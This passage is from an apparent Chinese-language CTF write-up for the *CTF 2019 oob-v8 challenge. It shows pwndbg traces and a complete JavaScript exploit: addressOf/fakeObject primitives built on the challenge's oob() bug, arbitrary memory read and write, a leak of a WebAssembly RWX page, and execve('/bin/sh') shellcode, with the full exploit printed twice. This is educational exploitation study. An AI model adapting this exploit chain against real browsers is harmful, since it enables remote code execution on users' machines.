- shared_info: 0x2c708e5dfa81 <SharedFunctionInfo 0> <= shared_info
- name: 0x1c0c1f4c4ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
[...]
//shared_info在Function+0x18的位置
pwndbg> telescope 0x2c708e5dfab9-1
00:0000│ 0x2c708e5dfab8 —▸ 0x7f1e5ac4379 ◂— 0x700001c0c1f4c01
01:0008│ 0x2c708e5dfac0 —▸ 0x1c0c1f4c0c71 ◂— 0x1c0c1f4c08
... ↓
03:0018│ 0x2c708e5dfad0 —▸ 0x2c708e5dfa81 ◂— 0x5900001c0c1f4c09 <= here(看最左边这个03:0018)
04:0020│ 0x2c708e5dfad8 —▸ 0x2c708e5c1869 ◂— 0x1c0c1f4c0f
05:0028│ 0x2c708e5dfae0 —▸ 0x84e79c0699 ◂— 0xd100001c0c1f4c15
06:0030│ 0x2c708e5dfae8 —▸ 0x3e5b7d3c2001 ◂— or cl, byte ptr [rdi + rbx + 0xc]
07:0038│ 0x2c708e5dfaf0 —▸ 0x1c0c1f4c0bc1 ◂— 0x1c0c1f4c01
pwndbg> job 0x2c708e5dfa81
0x2c708e5dfa81: [SharedFunctionInfo] in OldSpace
- map: 0x1c0c1f4c09e1 <Map[56]>
- name: 0x1c0c1f4c4ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x2c708e5dfa59 <WasmExportedFunctionData> <= WasmExportedFunctionData
- code (from data): 0x3e5b7d3c2001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
[...]
//WasmExportedFunctionData在SharedFunctionInfo+0x8的位置
pwndbg> telescope 0x2c708e5dfa81-1
00:0000│ 0x2c708e5dfa80 —▸ 0x1c0c1f4c09e1 ◂— 0x700001c0c1f4c01
01:0008│ 0x2c708e5dfa88 —▸ 0x2c708e5dfa59 ◂— 0x100001c0c1f4c58 <= here(看最左边这个01:0008)
02:0010│ 0x2c708e5dfa90 —▸ 0x1c0c1f4c4ae1 ◂— 0x1c0c1f4c04
03:0018│ 0x2c708e5dfa98 —▸ 0x1c0c1f4c2a39 ◂— 0x1c0c1f4c13
04:0020│ 0x2c708e5dfaa0 —▸ 0x1c0c1f4c04d1 ◂— 0x1c0c1f4c05
05:0028│ 0x2c708e5dfaa8 ◂— 0x0
... ↓
07:0038│ 0x2c708e5dfab8 —▸ 0x7f1e5ac4379 ◂— 0x700001c0c1f4c01
pwndbg> job 0x2c708e5dfa59
0x2c708e5dfa59: [WasmExportedFunctionData] in OldSpace
- map: 0x1c0c1f4c5879 <Map[40]>
- wrapper_code: 0x3e5b7d3c2001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x2c708e5df8c1 <Instance map = 0x7f1e5ac9789> <= instance
- function_index: 0
//instance在WasmExportedFunctionData+0x10的位置
pwndbg> telescope 0x2c708e5dfa59-1
00:0000│ 0x2c708e5dfa58 —▸ 0x1c0c1f4c5879 ◂— 0x500001c0c1f4c01
01:0008│ 0x2c708e5dfa60 —▸ 0x3e5b7d3c2001 ◂— or cl, byte ptr [rdi + rbx + 0xc]
02:0010│ 0x2c708e5dfa68 —▸ 0x2c708e5df8c1 ◂— 0x71000007f1e5ac97 <= here(看最左边这个02:0010)
03:0018│ 0x2c708e5dfa70 ◂— 0x0
... ↓
05:0028│ 0x2c708e5dfa80 —▸ 0x1c0c1f4c09e1 ◂— 0x700001c0c1f4c01
06:0030│ 0x2c708e5dfa88 —▸ 0x2c708e5dfa59 ◂— 0x100001c0c1f4c58
07:0038│ 0x2c708e5dfa90 —▸ 0x1c0c1f4c4ae1 ◂— 0x1c0c1f4c04
pwndbg> telescope 0x2c708e5df8c1-1+0x88
00:0000│ 0x2c708e5df948 —▸ 0x1864fd681000 ◂— movabs r10, 0x1864fd681260 /* 0x1864fd681260ba49 */
01:0008│ 0x2c708e5df950 —▸ 0x6158a14e409 ◂— 0x71000007f1e5ac91
02:0010│ 0x2c708e5df958 —▸ 0x6158a14e679 ◂— 0x71000007f1e5acad
03:0018│ 0x2c708e5df960 —▸ 0x2c708e5c1869 ◂— 0x1c0c1f4c0f
04:0020│ 0x2c708e5df968 —▸ 0x2c708e5df9e9 ◂— 0x71000007f1e5aca1
05:0028│ 0x2c708e5df970 —▸ 0x1c0c1f4c04d1 ◂— 0x1c0c1f4c05
... ↓
pwndbg> vmmap 0x1864fd681000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x1864fd681000 0x1864fd682000 rwxp 1000 0 +0x0
所以，根据以上，可以编写代码自动查找该地址。
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
整合的调试代码如下：
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
%SystemBreak();
pwndbg> r
[...]
[*] leak wasm func addr: 0x000019659b1a1fe8
[*] leak rwx_page_addr: 0x000028c152102000
[...]
pwndbg> vmmap 0x000028c152102000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x28c152102000 0x28c152103000 rwxp 1000 0 +0x0
成功！
getshell
编写getshell的部分
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();//调用wasm，实际调用到了shellcode
完整的exp
// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n),// fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr); //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();
注：非root用户可以开shell，/bin/sh这个文件不是只有root才能执行，进root是提权洞存在的意义。
参考资料
- 从一道CTF题零基础学V8漏洞利用：https://www.freebuf.com/vuls/203721.html（这篇知识+调试，全但是有点杂，建议进一步理解时候看）
- 浏览器入门之starctf-OOB：https://e3pem.github.io/2019/07/31/browser/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%85%A5%E9%97%A8%E4%B9%8Bstarctf-OOB/（这篇方便调试，建议先看，调一遍）
- Exploiting v8: *CTF 2019 oob-v8：https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
- 2019-StarCtf-oob：https://0xfocu5.github.io/posts/7eb4a1e6/
总结
花了好久，终于弄完了，真的是，做题5分钟，环境3小时的真实写照，环境强推国外云服务器，大概需要1天时间。
v8这块做下来，还是比较好理解的，可能刚开始看有点晕，但是静下心来好好想想还是能想得通。
发表评论
您还未登录，请先登录。
登录